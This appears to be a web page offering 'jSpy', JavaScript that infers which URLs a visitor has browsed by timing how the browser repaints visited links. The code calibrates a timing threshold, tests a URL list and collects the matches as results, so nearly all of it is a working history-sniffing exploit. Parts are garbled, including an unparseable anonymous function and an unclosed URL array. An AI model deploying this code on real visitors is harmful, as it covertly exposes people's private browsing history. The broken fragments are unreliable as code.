jSpy: Automatically detect user's history(projects.milankragujevic.com)

    var updateParams2 = updateParams;
    function (){debugger; updateParams2()};

    urls = [
    function initStats() {
        currentUrl = 0;
        start = NaN;
        counter = 0;
        posTimes = [];
        negTimes = [];
        if (stop) {
            stop = false;
            loop()
        }
    }
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        out.style.textShadow = "black 1px 1px 60px";
        out.style.opacity = "0.5";
        out.style.fontSize = "15px";
        textLines = (window.textlines ? window.textlines : 100);
        textLen = (window.textlen ? window.textlen : 5);
        write();
        resetLinks();
        initStats()
    }
    function write() {
        var c = "";
        var a = urls[currentUrl];
        var d = "";
        while (d.length < textLen) {
            d += "#"
        }
        for (var b = 0; b < textLines; b++) {
            c += "<a href=" + a;
            c += ">" + d;
            c += "</a> "
        }
        out.innerHTML = c
    }
    function updateLinks() {
        var a = urls[currentUrl];
        for (var b = 0; b < out.children.length; b++) {
            out.children[b].href = a;
            out.children[b].style.color = "red";
            out.children[b].style.color = ""
        }
    }
    function resetLinks() {
        for (var a = 0; a < out.children.length; a++) {
            out.children[a].href = "http://" + Math.random() + ".asd";
            out.children[a].style.color = "red";
            out.children[a].style.color = ""
        }
    }
    function median(b) {
        b.sort(function(e, d) {
            return e - d
        });
        if (b.length % 2) {
            var a = b.length / 2 - 0.5;
            return b[a]
        } else {
            var c = b[b.length / 2 - 1];
            c += b[b.length / 2];
            c = c / 2;
            return c
        }
    }
    function loop(c) {
        if (stop) {
            return
        }
        var d = (c - start) | 0;
        start = c;
        if (!isNaN(d)) {
            counter++;
            if (counter % 2 == 0) {
                resetLinks();
                if (counter > 4) {
                    if (currentUrl == 0) {
                        document.getElementById("nums").textContent = "Calibrating...";
                        posTimes.push(d);
                        timespans[currentUrl].textContent = posTimes.join(", ")
                    }
                    if (currentUrl == 1) {
                        negTimes.push(d);
                        timespans[currentUrl].textContent = negTimes.join(", ");
                        if (negTimes.length >= calibIters) {
                            var b = median(posTimes);
                            var a = median(negTimes);
                            if (b - a < 30) {
                                if (window.textLines < 200) {
                                    window.textlines = textLines + 50;
                                    stop = true;
                                    updateParams()
                                }
                                stop = true;
                                return
                            }
                            threshold = a + (b - a) * 0.75;
                            document.getElementById("nums").textContent = "Median Visited: " + b + "ms  / Median Unvisited: " + a + "ms / Threshold: " + threshold + "ms";
                            timeStart = Date.now()
                        }
                    }
                    if (currentUrl >= 2) {
                        timespans[currentUrl].textContent = d;
                        linkspans[currentUrl].className = (d >= threshold) ? "visited yes" : "visited";
                        if ((d >= threshold) == true) {
                            window.links.push(urls[currentUrl])
                        }
                        incUrl = true
                    }
                    currentUrl++;
                    if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters)) {
                        currentUrl = 0
                    }
                    if (currentUrl == urls.length) {
                        timeElapsed = (Date.now() - timeStart) / 1000;
                        document.getElementById("nums").innerHTML += "<br>Time elapsed: " + timeElapsed + "s, tested " + (((urls.length - 2) / timeElapsed) | 0) + " URLs/sec";
                        stop = true;
                        finishjSpy()
                    }
                    if (currentUrl > 2) {
                        $(".analyze_log").html(urls[currentUrl])
                    } else {
                        $(".analyze_log").html("Calibrating... ")
                    }
                    currentURLout.textContent = urls[currentUrl]
                }
            } else {
                updateLinks()
            }
        }
        requestAnimationFrame(loop)
    }
    function setupLinks() {
        window.links = [];
        var f = document.createElement("table");
        f.innerHTML = "<tr><th></th><th>URL</th><th>Times (ms)</th></tr>";
        f.className = "linklist";
        for (var e = 0; e < urls.length; e++) {
            var b = document.createElement("a");
            b.href = urls[e];
            b.textContent = urls[e];
            var h = document.createElement("span");
            h.className = "timings";
            var d = document.createElement("span");
            d.textContent = "\u2713";
            d.className = "visited";
            var g = document.createElement("tr");
            for (var c = 0; c < 3; c++) {
                g.appendChild(document.createElement("td"))
            }
            g.cells[0].appendChild(d);
            g.cells[1].appendChild(b);
            g.cells[2].appendChild(h);
            f.appendChild(g);
            timespans[e] = h;
            linkspans[e] = d
        }
        document.getElementById("log").appendChild(f)
    }
    setupLinks();
    function initjSpy() {
        $(".loading").fadeIn()
    }
    function finishjSpy() {
        $(".loading").fadeOut();
        $.each(window.links, function(a, b) {
            $(".results ul").append("<li>" + b + "</li>")
        });
        $(".content").fadeOut();
        $(".jspy").remove();
        setTimeout(function() {
            $(".content").remove();
            $(".results").fadeIn()
        }, 500)
    }
    ;